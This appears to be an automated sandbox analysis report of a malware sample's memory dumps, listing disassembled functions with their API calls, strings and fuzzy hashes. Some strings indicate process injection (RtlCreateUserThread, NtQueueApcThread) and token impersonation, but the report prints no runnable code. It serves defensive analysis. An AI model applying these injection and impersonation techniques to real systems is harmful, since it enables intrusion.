String ID:
API String ID: 1640621425-0
Opcode ID: f714c1e563aa58d873e3883a1df435710c86d18d380f096712ab5731ea4c4750
Instruction ID: 48bfcc009182e69847d8196810102ae09eb5fa0f863c87d3263119f74cd34897
Opcode Fuzzy Hash: f714c1e563aa58d873e3883a1df435710c86d18d380f096712ab5731ea4c4750
Instruction Fuzzy Hash: 1831062130074486DE2C9E63DE506AAB651F754FE4F18863CDE6A47B91EB78D8878340

Function 006654F0 Relevance: 7.6, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0066553A

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

malloc.LIBCMT ref: 00665545

Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F318
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F31D

free.LIBCMT ref: 0066562C
free.LIBCMT ref: 00665634
free.LIBCMT ref: 00665640
free.LIBCMT ref: 0066564D

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: de79741046cbe64d3bb630df06faae11b500053710235a4762571f6057312210
Instruction ID: fa91a802676de7115477e7ecbe885dc73ce57f5083dfd6623bbf0d32d29fbd00
Opcode Fuzzy Hash: de79741046cbe64d3bb630df06faae11b500053710235a4762571f6057312210
Instruction Fuzzy Hash: 2E31F032304B8546EB16DB6A980176B6B5BF795BC8F898034DD5ACB722EE38C946C300

Function 001A48F0 Relevance: 7.6, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001A493A

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

malloc.LIBCMT ref: 001A4945

Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE718
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE71D

free.LIBCMT ref: 001A4A2C
free.LIBCMT ref: 001A4A34
free.LIBCMT ref: 001A4A40
free.LIBCMT ref: 001A4A4D

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 326b315c93b4297f8d1cd44fbd3c536e1a3741d65750285d3f659b19031d268f
Instruction ID: ddfe11bee21fe91fe2ede919e1d28a075b0ed0327b27eca2dde5050658343c14
Opcode Fuzzy Hash: 326b315c93b4297f8d1cd44fbd3c536e1a3741d65750285d3f659b19031d268f
Instruction Fuzzy Hash: EA31D0263147D587DF15DB2AA4107AE6B99FBE6BC8F0A8024DD568B711EF78C807C304

Function 00672D70 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006731F4: strchr.LIBCMT ref: 0067322E
Part of subcall function 006731F4: strchr.LIBCMT ref: 0067324C
Part of subcall function 006731F4: malloc.LIBCMT ref: 00673264
Part of subcall function 006731F4: malloc.LIBCMT ref: 00673271
Part of subcall function 006731F4: rand.LIBCMT ref: 0067333D

strchr.LIBCMT ref: 00672DD6
_snprintf.LIBCMT ref: 00672E0C

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

_snprintf.LIBCMT ref: 00672E23

Strings

%s&%s, xrefs: 00672E1C
?%s, xrefs: 00672E05

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: strchr$_snprintfmalloc$_errno_invalid_parameter_noinforand
String ID: %s&%s$?%s
API String ID: 1095232423-1750478248
Opcode ID: 7c8d9433ae2b1aa8ac26fc6f099732b3782b91ff34ed5625b9a0d50b015d32b5
Instruction ID: 1fe48212a70a43d23a9b5d68317c628ddc730258e810a59962683c7a904eb9b7
Opcode Fuzzy Hash: 7c8d9433ae2b1aa8ac26fc6f099732b3782b91ff34ed5625b9a0d50b015d32b5
Instruction Fuzzy Hash: 92419262204E8191EA119F2ED1552E8A3B2FF98B99F089526DF8D57B20EF34D1B2C340

Function 0068AC98 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0068ACFA
_isleadbyte_l.LIBCMT ref: 0068AD2A
MultiByteToWideChar.KERNEL32 ref: 0068AD69
MultiByteToWideChar.KERNEL32 ref: 0068ADB7
_errno.LIBCMT ref: 0068ADC1

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: bc69b486777a6b9bad5038bbf0975aad08e47f38b0eed12a125a0790956d64d5
Instruction ID: 0be63cf8f76dd2de07813188870e01f120d0accea70a650f284de5b6bec00889
Opcode Fuzzy Hash: bc69b486777a6b9bad5038bbf0975aad08e47f38b0eed12a125a0790956d64d5
Instruction Fuzzy Hash: 8631A03220578086EB60AF55E580769BB66FB85FD0F188326EF8997F65DB38C881C701

Function 001AF064 Relevance: 7.6, APIs: 5, Instructions: 58fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 001AF085

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

free.LIBCMT ref: 001AF0C0
fwrite.LIBCMT ref: 001AF101
fclose.LIBCMT ref: 001AF109
free.LIBCMT ref: 001AF116

Part of subcall function 001BE644: _errno.LIBCMT ref: 001BE664

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$free$_callnewhfclosefwritemalloc
String ID:
API String ID: 1696598829-0
Opcode ID: 1bdd5497ac55f9ceee01cd46502ea43f72165348b95f2b256c95d8f9a827a5ec
Instruction ID: 596a8a54152f7891fa982c53a1485843f2f04b7ac0077e255192b694276bbb64
Opcode Fuzzy Hash: 1bdd5497ac55f9ceee01cd46502ea43f72165348b95f2b256c95d8f9a827a5ec
Instruction Fuzzy Hash: E4118265704B4081DE10F762E5513AE6392EBA5BE4F484239FE6E4BB8ADF3CC5068740

Function 0068A5EC Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0068A5FD

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 0068A5F5

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 7de39b626677fa29025c8f4af27b0a540db68e2d6824cc23474586602198323a
Instruction ID: 9a5633fb553444a0838e3de5a66e580a6212c88d0cbfca2ea863417caaa9e619
Opcode Fuzzy Hash: 7de39b626677fa29025c8f4af27b0a540db68e2d6824cc23474586602198323a
Instruction Fuzzy Hash: 26F02BB270060445EF097FA4C8A136C72539F51B32FA98306D9390B3D5E77D44D38712

Function 001C99EC Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C99FD

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C99F5

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 02e55afb5f5e5304a095475b8354770d2627f5ba6f47f1d288df05a1981eaf7d
Instruction ID: 85ea3803c73946272d53637bb4f04510df937969011ab4b487b9e71251e7dd7d
Opcode Fuzzy Hash: 02e55afb5f5e5304a095475b8354770d2627f5ba6f47f1d288df05a1981eaf7d
Instruction Fuzzy Hash: 9CF0F672751A4484EF092B74C8967AC7251ABB6F32FA6830DD629073D2C77CC8618710

Function 001B5228 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001B53EC: malloc.LIBCMT ref: 001B5408

strrchr.LIBCMT ref: 001B52ED
_snprintf.LIBCMT ref: 001B539B

Strings

Failed to impersonate token: %d, xrefs: 001B5358
t permissions in process: %d, xrefs: 001B5345, 001B5366

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintfmallocstrrchr
String ID: Failed to impersonate token: %d$t permissions in process: %d
API String ID: 3587327836-1492073275
Opcode ID: d69273eeb4579e6a96eb8d0c87a60564a21875d7210b55cf29d23a145d20b21e
Instruction ID: 352770fe634819318cdb85f5b69be49ea66c76f3b606d11a1e4ac64c4e353384
Opcode Fuzzy Hash: d69273eeb4579e6a96eb8d0c87a60564a21875d7210b55cf29d23a145d20b21e
Instruction Fuzzy Hash: 1B41B135704A8096DB14FB22B9147AF6792B79AFD4F488125EE5A4BB69DF3CC442C700

Function 00672818 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93sleeppipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32 ref: 006728A3
GetStartupInfoA.KERNEL32 ref: 006728AD
Sleep.KERNEL32 ref: 006728F4

Part of subcall function 006748D8: GetTickCount.KERNEL32 ref: 006748F1
Part of subcall function 006748D8: GetTickCount.KERNEL32 ref: 00674932

Strings

h, xrefs: 0067284D

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$CreateInfoPipeSleepStartup
String ID: h
API String ID: 1809008225-2439710439
Opcode ID: 4e35baa7647db691c7f670eac516f3e1fc872cfd04f6cc2549e4bc2b31640604
Instruction ID: 9dac431128a5d33a1cca976349f8c7763e936ef93a065078d3ae7311692ea35b
Opcode Fuzzy Hash: 4e35baa7647db691c7f670eac516f3e1fc872cfd04f6cc2549e4bc2b31640604
Instruction Fuzzy Hash: CA419A32604B889AE750CF65E84078EB7B6F788798F504219EF9C53B68DF38D646CB40

Function 0067E1D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 0067E26D
LookupAccountSidA.ADVAPI32 ref: 0067E2B2
_snprintf.LIBCMT ref: 0067E2DA

Strings

%s\%s, xrefs: 0067E2C8

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AccountInformationLookupToken_snprintf
String ID: %s\%s
API String ID: 2107350476-4073750446
Opcode ID: 3628ba452fb9f12347beb94bf517dfb845e986fa94d428b7ed87531c0f30446e
Instruction ID: 76ff5fb1b92f255e071d72172c76c5275d98a87628965d455dad0b8e360381d6
Opcode Fuzzy Hash: 3628ba452fb9f12347beb94bf517dfb845e986fa94d428b7ed87531c0f30446e
Instruction Fuzzy Hash: 2E213032204FC196EB24DF61E8547DA7369F788B88F448126EA8D57B18DF39C31AC740

Function 00687E20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00688B8A
__crtCapturePreviousContext.LIBCMT ref: 00688BA1
__raise_securityfailure.LIBCMT ref: 00688C43

Strings

Pj, xrefs: 00688C3C

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CaptureContextFeaturePresentPreviousProcessor__crt__raise_securityfailure
String ID: Pj
API String ID: 2585579334-1109624870
Opcode ID: fa3aebd98754aec5c2a36f7327a256f2afd717e403199b14b25e934204aebfe6
Instruction ID: e072f98f297580da6a0260de77f9bdce81e2c4c5eefec8c9f79deadb00f27ec1
Opcode Fuzzy Hash: fa3aebd98754aec5c2a36f7327a256f2afd717e403199b14b25e934204aebfe6
Instruction Fuzzy Hash: 68210775704B4085EB50AB18F86135477AAF78A348F90022AEA8D577B1EF7FC865CB01

Function 00674224 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0067424E
GetProcAddress.KERNEL32 ref: 0067425E

Strings

RtlCreateUserThread, xrefs: 00674254
ntdll.dll, xrefs: 0067423B

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: ec9d2d620c63392f70290ebc437f8ca1b743032b52a150f3fdfac3901f9a5ced
Instruction ID: 412f3c1fad01ec40b37c44b9036fff2b84c8986c87c1a8c8b4a2999c95763c34
Opcode Fuzzy Hash: ec9d2d620c63392f70290ebc437f8ca1b743032b52a150f3fdfac3901f9a5ced
Instruction Fuzzy Hash: BD016D32314B8192DB20CF11F894749B7A9FB88B80F998135EA9D43B14DF38C5A9C700

Function 00673C0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00673C30
GetProcAddress.KERNEL32 ref: 00673C40

Strings

NtQueueApcThread, xrefs: 00673C36
ntdll, xrefs: 00673C23

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: NtQueueApcThread$ntdll
API String ID: 1646373207-1374908105
Opcode ID: 2536bb9452705a2f6e7169ceafa1b416df13a56cc0cf1ef56e7307e0eec9c158
Instruction ID: f038d303a48577b73559bf0d1ae69cbde89ae8da4f8355f731266a35975aac91
Opcode Fuzzy Hash: 2536bb9452705a2f6e7169ceafa1b416df13a56cc0cf1ef56e7307e0eec9c158
Instruction Fuzzy Hash: E601D125300B9292DB008F22F85435AB3A5FB89FD0F988625EF5C43B28DF38C5A68300

Function 00670C64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00670C79
GetProcAddress.KERNEL32 ref: 00670C89

Strings

kernel32, xrefs: 00670C72
IsWow64Process, xrefs: 00670C7F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: ec429c199b0f6375f9f9bb3acfabef0345e96e1c9904636b59857b424156df6f
Instruction ID: e2daee7cb0072110a92526451e8d9e6f4daa953fa947003dfc671c17928fab38
Opcode Fuzzy Hash: ec429c199b0f6375f9f9bb3acfabef0345e96e1c9904636b59857b424156df6f
Instruction Fuzzy Hash: ACE04FA172270292FE05CB55E8A47656366EB88B91F481010D94B4AB65EF3DC5A9C710

Function 006720E4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 006720F4
GetProcAddress.KERNEL32 ref: 00672104

Strings

Wow64RevertWow64FsRedirection, xrefs: 006720FA
kernel32, xrefs: 006720ED

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: 319746fa707029ab9a73eb8f742d9554a97dfc1dcddc658422bf1e3b845b0c79
Instruction ID: 3879d7efb5108f01c7375b1c336d0e57c507da3620a91ff4996a8e67f594b482
Opcode Fuzzy Hash: 319746fa707029ab9a73eb8f742d9554a97dfc1dcddc658422bf1e3b845b0c79
Instruction Fuzzy Hash: 11D0A710752607A1FE089B91FC747A41356BB5AF40F4C1020891E0B720EE3DC1EDC350

Function 006720AC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 006720BC
GetProcAddress.KERNEL32 ref: 006720CC

Strings

kernel32, xrefs: 006720B5
Wow64DisableWow64FsRedirection, xrefs: 006720C2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: ee7ac246b15703f1bae1af517107d06ce80ae1fd60a4afa284d23f3dc5206b46
Instruction ID: 4cd60276b6661a869d07d975088d21ef58a001d1a22f5fda6036dc8d0c00d3b0
Opcode Fuzzy Hash: ee7ac246b15703f1bae1af517107d06ce80ae1fd60a4afa284d23f3dc5206b46
Instruction Fuzzy Hash: FBD0A710712607A1FE049BD1FC747A46356AB49F40F4C1021881E0A720EE3DC1EAC350

Function 0067BFC0 Relevance: 6.1, APIs: 4, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction ID: 6eaaa9ab1a844fe88417ef1eff5ff3034109cd015612bf2cdfcfbf95f85d5a18
Opcode Fuzzy Hash: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction Fuzzy Hash: 0051BF32741640CAD714EF29E8853A833E2F769B64F24823DDA1A5B761CB3EC452CF91

Function 001BB3C0 Relevance: 6.1, APIs: 4, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction ID: 9cd805be13f1b3885f796fd01702c1fa5e39bc59ddbb0bb5b327f8e09bdc8491
Opcode Fuzzy Hash: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction Fuzzy Hash: D8519572605784CAE728CF19E9C57EC33A1F758B95F25412ADE1A4BBA1DB78C442CB80

Function 001B2170 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001B25F4: strchr.LIBCMT ref: 001B262E
Part of subcall function 001B25F4: strchr.LIBCMT ref: 001B264C
Part of subcall function 001B25F4: malloc.LIBCMT ref: 001B2664
Part of subcall function 001B25F4: malloc.LIBCMT ref: 001B2671
Part of subcall function 001B25F4: rand.LIBCMT ref: 001B273D

strchr.LIBCMT ref: 001B21D6
_snprintf.LIBCMT ref: 001B220C

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

_snprintf.LIBCMT ref: 001B2223

Strings

not create token: %d, xrefs: 001B2205

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: strchr$_snprintfmalloc$_errno_invalid_parameter_noinforand
String ID: not create token: %d
API String ID: 1095232423-2272930512
Opcode ID: 9f33a31cc3dbe4d390e57a8e0463a50ad11e38a52d1dbdd6b3122e58f7288ae2
Instruction ID: dd83be3cdc38468e2d72b40f691b647392f28cd9c647279351a05b32f2482063
Opcode Fuzzy Hash: 9f33a31cc3dbe4d390e57a8e0463a50ad11e38a52d1dbdd6b3122e58f7288ae2
Instruction Fuzzy Hash: 8441C066614EC091EA159F6ED1852E8B3B0FF98B95F085512DF8D67B20EF34D1B6C340

Function 00674A04 Relevance: 6.1, APIs: 4, Instructions: 80synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00674A45

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

htonl.WS2_32 ref: 00674A5B

Part of subcall function 00674C44: PeekNamedPipe.KERNEL32 ref: 00674C7C

WaitForSingleObject.KERNEL32 ref: 00674AB6
free.LIBCMT ref: 00674AF2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$AllocHeapNamedObjectPeekPipeSingleWait_callnewhfreehtonlmalloc
String ID:
API String ID: 2495333179-0
Opcode ID: 92903f8e34bb86019301daba1a442a9bec2b61465fa0227abaf91983d09bc4f7
Instruction ID: 4648d0429a6de1d140e44e85e96c72b2234793a88890e8b2bc710f0046024de4
Opcode Fuzzy Hash: 92903f8e34bb86019301daba1a442a9bec2b61465fa0227abaf91983d09bc4f7
Instruction Fuzzy Hash: 2321E13670064086DB64EF62E54876A73ABFB89B98F09C518DE5D0B71CEF38C891C748

Function 0067C230 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_time64.LIBCMT ref: 0067C254

Part of subcall function 0068145C: GetSystemTimeAsFileTime.KERNEL32 ref: 0068146A

Part of subcall function 0068044C: _getptd.LIBCMT ref: 00680454

malloc.LIBCMT ref: 0067C29C
strtok.LIBCMT ref: 0067C300
strtok.LIBCMT ref: 0067C311

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Timestrtok$FileSystem_getptd_time64malloc
String ID:
API String ID: 460628555-0
Opcode ID: 2fe16f1730b9e72f7102dc70ee842add604a2edc5f5efba699c173ab423aa684
Instruction ID: 8085eb6fc398f76177e30c2a2fe397d02a9ce9bf3850a8c026e00e981c306913
Opcode Fuzzy Hash: 2fe16f1730b9e72f7102dc70ee842add604a2edc5f5efba699c173ab423aa684
Instruction Fuzzy Hash: 042124B6600B9481DB40DF91E08866D37AAF788FE4B06822AEF2E47742CF30C542C784

Function 006610D0 Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

clock.LIBCMT ref: 00661117
clock.LIBCMT ref: 00661124
clock.LIBCMT ref: 0066112D
clock.LIBCMT ref: 0066113A

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: clock
String ID:
API String ID: 3195780754-0
Opcode ID: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction ID: 24348d802dc2d1f08a0c155925a8388473e2b6d20b6d7e2de2e238697d943f74
Opcode Fuzzy Hash: 88d80a52c757cc5c40c2c6d70a970e4954adb33c3b78b443ec03df4506b3ea8d
Instruction Fuzzy Hash: 04116632A04788599770EFA6A88156BF692FB8B3D0F1D0235EF944B705EA75CC82C740

Function 0068F5D8 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0068F5FC

Part of subcall function 00681600: _getptd.LIBCMT ref: 00681616
Part of subcall function 00681600: __updatetlocinfo.LIBCMT ref: 0068164B
Part of subcall function 00681600: __updatetmbcinfo.LIBCMT ref: 00681672

_errno.LIBCMT ref: 0068F608

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 0068F613
strchr.LIBCMT ref: 0068F629

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: 981429a1da204f704ed88d261ee2d43387d2cfac4902a0026a6358d448239ec3
Instruction ID: 57340b939f474d349f093d2e7be4e21bbf8914060297e7e2e26b8cd3160c6e13
Opcode Fuzzy Hash: 981429a1da204f704ed88d261ee2d43387d2cfac4902a0026a6358d448239ec3
Instruction Fuzzy Hash: E21104626082E481CB207B25905027EB7A2E785FE4B1C8339FBD64BB65FA6CC4C3C710

Function 001CE9D8 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 001CE9FC

Part of subcall function 001C0A00: _getptd.LIBCMT ref: 001C0A16
Part of subcall function 001C0A00: __updatetlocinfo.LIBCMT ref: 001C0A4B
Part of subcall function 001C0A00: __updatetmbcinfo.LIBCMT ref: 001C0A72

_errno.LIBCMT ref: 001CEA08

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

